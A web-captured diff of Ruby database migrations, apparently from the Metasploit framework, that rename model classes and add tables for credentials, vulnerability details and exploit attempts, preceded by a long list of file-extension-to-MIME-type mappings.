cpp: text/plain
smp3: audio/vnd.sealedmedia.softseal.mpeg
html: text/html
igs: model/iges
dwg: image/vnd.dwg
see: application/vnd.seemail
ram: audio/x-pn-realaudio
jad: text/vnd.sun.j2me.app-descriptor
iges: model/iges
pot: application/powerpoint
exe: application/octet-stream
siv: application/sieve
wml: text/vnd.wap.wml
hlp: text/plain
pkd: application/vnd.hbci
ice: x-conference/x-cooltalk
ustar: application/x-ustar
vis: application/vnd.visionary
pkipath: application/pkix-pkipath
ecelp4800: audio/vnd.nuera.ecelp4800
tgz: application/x-gtar
roff: text/troff
ltx: application/x-latex
nim: video/vnd.nokia.interleaved-multimedia
qcp: audio/QCELP
ai: application/postscript
sppt: application/vnd.sealed.ppt
igx: application/vnd.micrografx.igx
tcl: application/x-tcl
viv: video/vnd.vivo
css: text/css
wpl: application/vnd.ms-wpl
ami: application/vnd.amiga.ami
l16: audio/L16
vivo: video/vnd.vivo
dat: text/plain
vrml: x-world/x-vrml
pqa: application/vnd.palm
request: application/vnd.nervana
oprc: application/vnd.palm
vbk: audio/vnd.nortel.vbk
pki: application/pkixcmp
ras: image/x-cmu-raster
asc: text/plain
kom: application/vnd.hbci
jpeg: image/jpeg
sem: application/vnd.sealed.eml
chrt: application/vnd.kde.kchart
tif: image/tiff
cil: application/vnd.ms-artgalry
xwd: image/x-xwindowdump
dgn: image/x-vnd.dgn
mxu: video/vnd.mpegurl
csv: text/comma-separated-values
kon: application/vnd.kde.kontour
png: image/png
bkm: application/vnd.nervana
sxl: application/vnd.sealed.xls
xfdf: application/vnd.adobe.xfdf
snd: audio/basic
dl: video/dl
sxls: application/vnd.sealed.xls
karbon: application/vnd.kde.karbon
ico: image/vnd.microsoft.icon
sus: application/vnd.sus-calendar
pdb: x-chemical/x-pdb
wif: application/watcherinfo+xml
ser: application/x-java-serialized-object
xmt_txt: model/vnd.parasolid.transmit.text
upa: application/vnd.hbci
pnm: image/x-portable-anymap
jar: application/x-java-archive
qt: video/quicktime
tsv: text/tab-separated-values
rtx: text/richtext
mdi: image/vnd.ms-modi
rcprofile: application/vnd.ipunplugged.rcprofile
gl: video/gl
me: application/x-troff-me
man: application/x-troff-man
tr: text/troff
amr: audio/AMR
wp5: application/wordperfect5.1
pdf: application/pdf
pgb: image/vnd.globalgraphics.pgb
au: audio/basic
avi: video/x-msvideo
qxb: application/vnd.Quark.QuarkXPress
wp: application/wordperfect5.1
wmlsc: application/vnd.wap.wmlscriptc
wbxml: application/vnd.wap.wbxml
s1a: application/vnd.sealedmedia.softseal.pdf
saf: application/vnd.yamaha.smaf-audio
gtar: application/x-gtar
Z: application/x-compressed
crl: application/pkix-crl
pti: application/vnd.pvi.ptid1
rdz: application/vnd.data-vision.rdz
aif: audio/x-aiff
flo: application/vnd.micrografx.flo
qxd: application/vnd.Quark.QuarkXPress
rpm: audio/x-pn-realaudio-plugin
djv: image/vnd.djvu
jpe: image/jpeg
kne: application/vnd.Kinar
lvp: audio/vnd.lucent.voice
stml: application/vnd.sealedmedia.softseal.html
p7c: application/pkcs7-mime
dms: application/octet-stream
s1e: application/vnd.sealed.xls
sdf: application/vnd.Kinar
sc: application/vnd.ibm.secure-container
jnlp: application/x-java-jnlp-file
dvi: application/x-dvi
smov: video/vnd.sealedmedia.softseal.mov
jisp: application/vnd.jisp
aifc: audio/x-aiff
latex: application/x-latex
cc: text/plain
s1g: image/vnd.sealedmedia.softseal.gif
wv: application/vnd.wv.csp+wbxml
mseq: application/vnd.mseq
jpg: image/jpeg
mmf: application/vnd.smaf
xmt_bin: model/vnd.parasolid.transmit.binary
s1h: application/vnd.sealedmedia.softseal.html
mpc: application/vnd.mophun.certificate
hdf: application/x-hdf
stk: application/hyperstudio
txd: application/vnd.genomatix.tuxedo
ent: application/vnd.nervana
xml: text/xml
aiff: audio/x-aiff
sh: application/x-sh
mpe: video/mpeg
s1j: image/vnd.sealedmedia.softseal.jpg
psid: audio/prs.sid
mpga: audio/mpeg
pgm: image/x-portable-graymap
si: text/vnd.wap.si
stm: application/vnd.sealedmedia.softseal.html
lbd: application/vnd.llamagraphics.life-balance.desktop
flw: application/vnd.kde.kivio
mpg: video/mpeg
c: text/plain
sgi: image/vnd.sealedmedia.softseal.gif
zip: application/zip
ecelp7470: audio/vnd.nuera.ecelp7470
lbe: application/vnd.llamagraphics.life-balance.exchange+xml
qxl: application/vnd.Quark.QuarkXPress
p10: application/pkcs10
bpd: application/vnd.hbci
ief: image/ief
gz: application/x-gzip
doc: application/word
efif: application/vnd.picsel
jpm: image/jpm
hpgl: application/vnd.hp-HPGL
s1m: audio/vnd.sealedmedia.softseal.mpeg
xhtml: application/xhtml+xml
xpm: image/x-xpixmap
ms: application/x-troff-ms
bcpio: application/x-bcpio
sl: text/vnd.wap.sl
wrl: x-world/x-vrml
s1n: image/vnd.sealed.png
irm: application/vnd.ibm.rights-management
pgp: application/octet-stream
entity: application/vnd.nervana
mcd: application/vnd.mcd
ecelp9600: audio/vnd.nuera.ecelp9600
kwd: application/vnd.kde.kword
gif: image/gif
sdo: application/vnd.sealed.doc
cer: application/pkix-cert
m4u: video/vnd.mpegurl
rst: text/prs.fallenstein.rst
htm: text/html
mxmf: audio/vnd.nokia.mobile-xmf
psb: application/vnd.3gpp.pic-bw-small
knp: application/vnd.Kinar
cab: application/vnd.ms-cab-compressed
mj2: video/MJ2
sgm: text/sgml
wbmp: image/vnd.wap.wbmp
p7m: application/pkcs7-mime
spng: image/vnd.sealed.png
lha: application/octet-stream
s1p: application/vnd.sealed.ppt
texi: application/x-texinfo
s1q: video/vnd.sealedmedia.softseal.mov
troff: text/troff
h: text/plain
shtml: text/html
msh: model/mesh
irp: application/vnd.irepository.package+xml
rct: application/prs.nprend
smht: application/vnd.sealed.mht
s11: video/vnd.sealed.mpeg1
htke: application/vnd.kenameaapp
ps: application/postscript
mpm: application/vnd.blueice.multipass
dfac: application/vnd.dreamfactory
pvb: application/vnd.3gpp.pic-bw-var
lrm: application/vnd.ms-lrm
smh: application/vnd.sealed.mht
mpn: application/vnd.mophun.application
spd: application/vnd.sealedmedia.softseal.pdf
tiff: image/tiff
jp2: image/jp2
rpss: application/vnd.nokia.radio-presets
qxt: application/vnd.Quark.QuarkXPress
wmlc: application/vnd.wap.wmlc
rpst: application/vnd.nokia.radio-preset
etx: text/x-setext
bmp: image/bmp
s14: video/vnd.sealed.mpeg4
\"123\": application/vnd.lotus-1-2-3
mpp: application/vnd.ms-project
spf: application/vnd.yamaha.smaf-phrase
kar: audio/x-midi
mid: audio/x-midi
3gp: video/3gpp
3g2: video/3gpp2
hqx: application/mac-binhex40
p7s: application/pkcs7-signature
ppm: image/x-portable-pixmap
pspimage: image/x-paintshoppro
cdf: application/netcdf
texinfo: application/x-texinfo
sjp: image/vnd.sealedmedia.softseal.jpg
wbs: application/vnd.criticaltools.wbs+xml
emm: application/vnd.ibm.electronic-media
s1w: application/vnd.sealed.doc
ra: audio/x-realaudio
jpx: image/jpx
evc: audio/EVRC
mif: application/x-mif
qwd: application/vnd.Quark.QuarkXPress
mp2: video/mpeg
spdf: application/vnd.sealedmedia.softseal.pdf
tbz: application/x-gtar
txt: text/plain
x_b: model/vnd.parasolid.transmit.binary
mp3: audio/mpeg
class: application/x-java-vm
smo: video/vnd.sealedmedia.softseal.mov
mp4: video/vnd.objectvideo
m4v: video/x-m4v
htx: text/html
hbci: application/vnd.hbci
tex: application/x-tex
vsc: application/vnd.vidsoft.vidconference
wqd: application/vnd.wqd
mfm: application/vnd.mfmp
sgml: text/sgml
smp: audio/vnd.sealedmedia.softseal.mpeg
curl: application/vnd.curl
cw: application/prs.cww
djvu: image/vnd.djvu
tga: image/targa
vsd: application/vnd.visio
t: text/troff
wtb: application/vnd.webturbo
spn: image/vnd.sealed.png
plb: application/vnd.3gpp.pic-bw-large
pps: application/powerpoint
yaml: text/x-yaml
psp: image/x-paintshoppro
mjp2: video/MJ2
sms: application/vnd.3gpp.sms
hvd: application/vnd.yamaha.hv-dic
acutc: application/vnd.acucorp
ppt: application/powerpoint
les: application/vnd.hhe.lesson-player
vcf: text/x-vcard
sjpg: image/vnd.sealedmedia.softseal.jpg
kwt: application/vnd.kde.kword
sic: application/vnd.wap.sic
spp: application/vnd.sealed.ppt
cmc: application/vnd.cosmocaller
dot: application/word
sv4cpio: application/x-sv4cpio
cpio: application/x-cpio
sswf: video/vnd.sealed.swf
silo: model/mesh
sid: audio/prs.sid
yml: text/x-yaml
smv: audio/SMV
eps: application/postscript
ptid: application/vnd.pvi.ptid1
wks: application/vnd.lotus-1-2-3
z: application/x-compressed
hpp: text/plain
htmlx: text/html
ani: application/octet-stream
sig: application/pgp-signature
slc: application/vnd.wap.slc
rm: audio/x-pn-realaudio
smpg: video/vnd.sealed.mpeg4
wmls: text/vnd.wap.wmlscript
bin: application/x-mac
mesh: model/mesh
atc: application/vnd.acucorp
pfr: application/font-tdpfr
plj: audio/vnd.everad.plj
rnd: application/prs.nprend
xls: application/excel
tar: application/x-tar
mp3g: video/mpeg
sgif: image/vnd.sealedmedia.softseal.gif
oda: application/oda
sdoc: application/vnd.sealed.doc
kia: application/vnd.kidspiration
prc: application/vnd.palm
req: application/vnd.nervana
xyz: x-chemical/x-xyz
soc: application/sgml-open-catalog
xlt: application/excel
awb: audio/AMR-WB
susp: application/vnd.sus-calendar
xbm: image/x-xbm
ccc: text/vnd.net2phone.commcenter.command
hh: text/plain
qwt: application/vnd.Quark.QuarkXPress
shar: application/x-shar
ssw: video/vnd.sealed.swf
xul: application/vnd.mozilla.xul+xml
kcm: application/vnd.nervana
kpr: application/vnd.kde.kpresenter
cdy: application/vnd.cinderella
nc: application/netcdf
src: application/x-wais-source
sv4crc: application/x-sv4crc
dtd: text/xml
hvp: application/vnd.yamaha.hv-voice
cww: application/prs.cww
vss: application/vnd.visio
rb: application/x-ruby
log: text/plain
swf: application/x-shockwave-flash
flv: video/x-flv
asf: video/x-ms-asf
asx: video/x-ms-asf
wma: audio/x-ms-wma
wax: audio/x-ms-wax
wmv: audio/x-ms-wmv
wvx: video/x-ms-wvx
wm: video/x-ms-wm
wmx: video/x-ms-wmx
wmz: application/x-ms-wmz
wmd: application/x-ms-wmd
m3u: audio/x-mpequrl
rdp: application/rdp
pcap: application/vnd.tcpdump.pcap
torrent: application/x-bittorrent
xlb: application/excel
cue: application/x-cue
@@ -4,7 +4,7 @@ class MigrateCredData < ActiveRecord::Migration
begin # Wrap the whole thing in a giant rescue.
skipped_notes = []
new_creds = []
Msf::DBManager::Note.find(:all).each do |note|
Mdm::Note.find(:all).each do |note|
next unless note.ntype[/^auth\.(.*)/]
service_name = $1
if !service_name
@@ -46,7 +46,7 @@ class MigrateCredData < ActiveRecord::Migration
if candidate_services.size == 1
svc_id = candidate_services.first.id
elsif candidate_services.empty?
Msf::DBManager::Service.new do |svc|
Mdm::Service.new do |svc|
svc.host_id = note.host.id
svc.port = default_port
svc.proto = 'tcp'
@@ -115,7 +115,7 @@ class MigrateCredData < ActiveRecord::Migration
say "Migrating #{new_creds.size} credentials."
new_creds.uniq.each do |note|
Msf::DBManager::Cred.new do |cred|
Mdm::Cred.new do |cred|
cred.service_id = note[0]
cred.user = note[2]
cred.pass = note[3]
@@ -126,7 +126,7 @@ class MigrateCredData < ActiveRecord::Migration
say "Migrating #{skipped_notes.size} notes."
skipped_notes.uniq.each do |note|
Msf::DBManager::Note.new do |new_note|
Mdm::Note.new do |new_note|
new_note.host_id = note.host_id
new_note.ntype = "migrated_auth"
new_note.data = note.data.merge(:migrated_auth_type => note.ntype)
@@ -135,7 +135,7 @@ class MigrateCredData < ActiveRecord::Migration
end
say "Deleting migrated auth notes."
Msf::DBManager::Note.find(:all).each do |note|
Mdm::Note.find(:all).each do |note|
next unless note.ntype[/^auth\.(.*)/]
note.delete
end
@@ -3,7 +3,7 @@ class RequireAdminFlag < ActiveRecord::Migration
# Make the admin flag required.
def self.up
# update any existing records
Msf::DBManager::User.update_all({:admin => true}, {:admin => nil})
Mdm::User.update_all({:admin => true}, {:admin => nil})
change_column :users, :admin, :boolean, :null => false, :default => true
end
@@ -1,13 +1,13 @@
class InetColumns < ActiveRecord::Migration
def self.up
change_column :hosts, :address, 'INET using address::INET'
remove_column :hosts, :address6
end
def self.up
change_column :hosts, :address, 'INET using address::INET'
remove_column :hosts, :address6
end
def self.down
change_column :hosts, :address, :text
add_column :hosts, :address6, :text
end
def self.down
change_column :hosts, :address, :text
add_column :hosts, :address6, :text
end
end
@@ -0,0 +1,9 @@
class RenameWorkspaceMembers < ActiveRecord::Migration
def up
rename_table :project_members, :workspace_members
end
def down
rename_table :workspace_members, :project_members
end
end
@@ -0,0 +1,21 @@
class AddCounterCachesToHosts < ActiveRecord::Migration
def self.up
add_column :hosts, :note_count, :integer, :default => 0
add_column :hosts, :vuln_count, :integer, :default => 0
add_column :hosts, :service_count, :integer, :default => 0
Mdm::Host.reset_column_information
Mdm::Host.all.each do |h|
Mdm::Host.reset_counters h.id, :notes
Mdm::Host.reset_counters h.id, :vulns
Mdm::Host.reset_counters h.id, :services
end
end
def self.down
remove_column :hosts, :note_count
remove_column :hosts, :vuln_count
remove_column :hosts, :service_count
end
end
+34
View File
@@ -0,0 +1,34 @@
class AddVulnDetails < ActiveRecord::Migration
def self.up
create_table :vuln_details do |t|
t.integer :vuln_id # Vuln table reference
t.float :cvss_score # 0.0 to 10.0
t.string :cvss_vector # Ex: (AV:N/AC:L/Au:N/C:C/I:C/A:C)(AV:N/AC:L/Au:N/C:C/I:C/A:C)
t.string :title # Short identifier
t.text :description # Plain text or HTML (trusted)
t.text :solution # Plain text or HTML (trusted)
t.binary :proof # Should be UTF-8, but may not be, sanitize on output
# Technically this duplicates vuln.info, but that field
# is poorly managed / handled today. Eventually we will
# replace vuln.info
# Nexpose-specific fields
t.integer :nx_console_id # NexposeConsole table reference
t.integer :nx_device_id # Reference from the Nexpose side
t.string :nx_vuln_id # 'jre-java-update-flaw'
t.float :nx_severity # 0-10
t.float :nx_pci_severity # 0-10
t.timestamp :nx_published # Normalized from "20081205T000000000"
t.timestamp :nx_added # Normalized from "20081205T000000000"
t.timestamp :nx_modified # Normalized from "20081205T000000000"
t.text :nx_tags # Comma separated
end
end
def self.down
drop_table :vuln_details
end
end
+16
View File
@@ -0,0 +1,16 @@
class AddHostDetails < ActiveRecord::Migration
def self.up
create_table :host_details do |t|
t.integer :host_id # Host table reference
# Nexpose-specific fields
t.integer :nx_console_id # NexposeConsole table reference
t.integer :nx_device_id # Reference from the Nexpose side
end
end
def self.down
drop_table :host_details
end
end
+16
View File
@@ -0,0 +1,16 @@
class ExpandDetails < ActiveRecord::Migration
def self.up
add_column :vuln_details, :nx_vuln_status, :text
add_column :vuln_details, :nx_proof_key, :text
add_column :vuln_details, :src, :string
add_column :host_details, :src, :string
end
def self.down
remove_column :vuln_details, :nx_vuln_status
remove_column :vuln_details, :nx_proof_key
remove_column :vuln_details, :src
remove_column :host_details, :src
end
end
+24
View File
@@ -0,0 +1,24 @@
class ExpandDetails2 < ActiveRecord::Migration
def self.up
add_column :host_details, :nx_site_name, :string
add_column :host_details, :nx_site_importance, :string
add_column :host_details, :nx_scan_template, :string
add_column :host_details, :nx_risk_score, :float
add_column :vuln_details, :nx_scan_id, :integer
add_column :vuln_details, :nx_vulnerable_since, :timestamp
add_column :vuln_details, :nx_pci_compliance_status, :string
end
def self.down
remove_column :host_details, :nx_site_name
remove_column :host_details, :nx_site_importance
remove_column :host_details, :nx_scan_template
remove_column :host_details, :nx_risk_score
remove_column :vuln_details, :nx_scan_id
remove_column :vuln_details, :nx_vulnerable_since
remove_column :vuln_details, :nx_pci_compliance_status
end
end
+19
View File
@@ -0,0 +1,19 @@
class AddVulnAttempts < ActiveRecord::Migration
def self.up
create_table :vuln_attempts do |t|
t.integer :vuln_id # Vuln table reference
t.timestamp :attempted_at # Timestamp of when the session was opened or the module exited
t.boolean :exploited # Whether or not the attempt succeeded
t.string :fail_reason # Short string corresponding to a Msf::Exploit::Failure constant
t.string :username # The user that tested this vulnerability
t.text :module # The specific module name that was used
t.integer :session_id # Database identifier of any opened session
t.integer :loot_id # Database identifier of any 'proof' loot (for non-session exploits)
end
end
def self.down
drop_table :vuln_attempts
end
end
@@ -0,0 +1,14 @@
class AddVulnAndHostCounterCaches < ActiveRecord::Migration
def self.up
add_column :hosts, :host_detail_count, :integer, :default => 0
add_column :vulns, :vuln_detail_count, :integer, :default => 0
add_column :vulns, :vuln_attempt_count, :integer, :default => 0
end
def self.down
remove_column :hosts, :host_detail_count
remove_column :vulns, :vuln_detail_count
remove_column :vulns, :vuln_attempt_count
end
end
+118
View File
@@ -0,0 +1,118 @@
class AddModuleDetails < ActiveRecord::Migration
def self.up
create_table :module_details do |t|
t.timestamp :mtime # disk modified time
t.text :file # location on disk
t.string :mtype # exploit, auxiliary, post, etc
t.text :refname # module path (no type)
t.text :fullname # module path with type
t.text :name # module title
t.integer :rank # exploit rank
t.text :description #
t.string :license # MSF_LICENSE
t.boolean :privileged # true or false
t.timestamp :disclosure_date # Mar 10 2004
t.integer :default_target # 0
t.text :default_action # "scan"
t.string :stance # "passive"
t.boolean :ready # true/false
end
add_index :module_details, :refname
add_index :module_details, :name
add_index :module_details, :description
add_index :module_details, :mtype
create_table :module_authors do |t|
t.integer :module_detail_id
t.text :name
t.text :email
end
add_index :module_authors, :module_detail_id
create_table :module_mixins do |t|
t.integer :module_detail_id
t.text :name
end
add_index :module_mixins, :module_detail_id
create_table :module_targets do |t|
t.integer :module_detail_id
t.integer :index
t.text :name
end
add_index :module_targets, :module_detail_id
create_table :module_actions do |t|
t.integer :module_detail_id
t.text :name
end
add_index :module_actions, :module_detail_id
create_table :module_refs do |t|
t.integer :module_detail_id
t.text :name
end
add_index :module_refs, :module_detail_id
add_index :module_refs, :name
create_table :module_archs do |t|
t.integer :module_detail_id
t.text :name
end
add_index :module_archs, :module_detail_id
create_table :module_platforms do |t|
t.integer :module_detail_id
t.text :name
end
add_index :module_platforms, :module_detail_id
end
def self.down
remove_index :module_details, :refname
remove_index :module_details, :name
remove_index :module_details, :description
remove_index :module_details, :mtype
remove_index :module_authors, :module_detail_id
remove_index :module_mixins, :module_detail_id
remove_index :module_targets, :module_detail_id
remove_index :module_actions, :module_detail_id
remove_index :module_refs, :module_detail_id
remove_index :module_refs, :name
remove_index :module_archs, :module_detail_id
remove_index :module_platform, :module_detail_id
drop_table :module_details
drop_table :module_authors
drop_table :module_mixins
drop_table :module_targets
drop_table :module_actions
drop_table :module_refs
drop_table :module_archs
drop_table :module_platforms
end
end
=begin
Mdm::Host.find_by_sql("
SELECT
hosts.id, hosts.address, module_details.mtype AS mtype, module_details.refname AS mname, vulns.name AS vname, refs.name AS vref
FROM
hosts,vulns,vulns_refs,refs,module_refs,module_details
WHERE
hosts.id = vulns.host_id AND
vulns.id = vulns_refs.vuln_id AND
vulns_refs.ref_id = refs.id AND
refs.name = module_refs.name AND
module_refs.module_detail_id = modules_details.id
").map{|x| [x.address, x.mname, x.vname, x.vref ] }
=end

Some files were not shown because too many files have changed in this diff Show More